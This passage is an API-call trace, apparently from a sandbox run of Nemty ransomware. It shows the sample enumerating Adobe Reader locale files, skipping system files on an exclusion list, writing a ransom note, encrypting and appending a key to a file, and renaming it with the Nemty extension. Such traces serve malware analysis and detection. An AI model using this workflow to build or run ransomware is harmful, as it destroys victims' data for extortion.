lstrcmpiW (lpString1="zh_CN", lpString2="NTDETECT.COM") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="ntldr") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="MSDOS.SYS") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="IO.SYS") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="boot.ini") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="boot.ini") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="AUTOEXEC.BAT") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="ntuser.dat") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="desktop.ini") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="CONFIG.SYS") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="RECYCLER") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="BOOTSECT.BAK") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="bootmgr") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="programdata") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="appdata") returned 1 [0185.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_CN", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0185.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_CN", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh_CN", lpUsedDefaultChar=0x0) returned 5 [0185.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_CN", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0185.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh_CN", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh_CN", lpUsedDefaultChar=0x0) returned 5 [0185.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0185.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0185.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0185.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0185.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0185.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0185.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0185.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0185.727] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.727] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0185.728] CloseHandle (hObject=0x254) returned 1 [0185.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0185.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0185.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0185.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0185.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0185.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0185.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.729] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.729] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0185.730] CloseHandle (hObject=0x254) returned 1 [0185.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.730] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22579610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22579610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0185.730] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0185.731] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22579610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22579610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0185.731] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0185.731] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0185.731] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.CHS", cAlternateFileName="ACCESS~1.CHS")) returned 1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2=".") returned 1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="..") returned 1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="...") returned 1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="windows") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="rsa") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="NTDETECT.COM") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="ntldr") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="MSDOS.SYS") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="IO.SYS") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="boot.ini") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="boot.ini") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="AUTOEXEC.BAT") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="ntuser.dat") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="desktop.ini") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="CONFIG.SYS") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="RECYCLER") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="BOOTSECT.BAK") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="bootmgr") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="programdata") returned -1 [0185.731] lstrcmpiW (lpString1="accessibility.CHS", lpString2="appdata") returned -1 [0185.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHS", lpUsedDefaultChar=0x0) returned 17 [0185.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0185.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHS", lpUsedDefaultChar=0x0) returned 17 [0185.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0185.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHS", lpUsedDefaultChar=0x0) returned 17 [0185.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CHS", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CHS", lpUsedDefaultChar=0x0) returned 17 [0185.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.732] Sleep (dwMilliseconds=0x5) [0185.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x225c58d0, dwHighDateTime=0x1d561e8)) [0185.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x225c58d0, dwHighDateTime=0x1d561e8)) [0185.747] GetLastError () returned 0xb7 [0185.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.747] GetLastError () returned 0xb7 [0185.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.747] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.747] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.747] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.747] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="VtWjeztnUbqz5l+loey0ZDp1AsnbEj103IxDpcXjd9FJ9fd58LtfDrOs/odoU+Q2\r\n9iVBwbYewj0f7WL+hYo0geoWTEgi0bWoXTZYLz4TYSRJrphhLpRhAsTGuZVhSevb\r\nqFemjdhtSYr84/Jzu0Cj0/CTpEIuxNe2fp74m3vlcAeMiG4dKpRkZTjy9/nfyy0E\r\nW1kjgBdz4V3ndfgoc02j/ySg9EUHZfifQOw3pq0nfdM30JCrAaTZ1ThII4QkALy2\r\nAL17moG64k4QjaB77wYHcNU5mQyhV69UjJpCWnf/WdzZHfcBkjUAm3lLsWpAilDp\r\nPEbEqd2M/RMjx1izYrocbA==\r\n", pcchString=0x653e5dc) returned 1 [0185.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\accessibility.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\accessibility.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.751] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0185.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0185.751] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.751] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0185.754] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.754] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0185.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.754] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0185.754] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.754] CloseHandle (hObject=0x2e8) returned 1 [0185.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.755] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\accessibility.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\accessibility.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\accessibility.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\accessibility.chs._nemty_kgobjgd_")) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.755] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.CHS", cAlternateFileName="")) returned 1 [0185.755] lstrcmpiW (lpString1="Acroform.CHS", lpString2=".") returned 1 [0185.755] lstrcmpiW (lpString1="Acroform.CHS", lpString2="..") returned 1 [0185.755] lstrcmpiW (lpString1="Acroform.CHS", lpString2="...") returned 1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="windows") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="rsa") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="NTDETECT.COM") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="ntldr") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="MSDOS.SYS") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="IO.SYS") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="boot.ini") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="boot.ini") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="AUTOEXEC.BAT") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="ntuser.dat") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="desktop.ini") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="CONFIG.SYS") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="RECYCLER") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="BOOTSECT.BAK") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="bootmgr") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="programdata") returned -1 [0185.756] lstrcmpiW (lpString1="Acroform.CHS", lpString2="appdata") returned -1 [0185.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.756] WideCharToMultiByte (in: 